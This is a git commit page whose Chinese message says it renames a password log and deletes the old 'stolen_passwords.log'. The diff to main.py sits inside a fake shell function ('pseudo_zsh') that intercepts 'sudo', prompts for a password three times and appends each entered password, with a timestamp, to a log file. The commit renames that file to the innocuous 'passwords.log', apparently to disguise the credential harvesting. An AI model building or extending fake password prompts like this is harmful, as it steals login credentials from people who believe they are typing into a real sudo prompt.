重命名密码日志文件为 passwords.log,并删除旧的 stolen_passwords.log 文件
This commit is contained in:
2
main.py
2
main.py
@@ -79,7 +79,7 @@ def pseudo_zsh():
|
||||
if args[0] == 'sudo':
|
||||
for attempt in range(3): # 循环 3 次
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
with open("stolen_passwords.log", "a") as f:
|
||||
with open("passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
||||
|
||||
Reference in New Issue
Block a user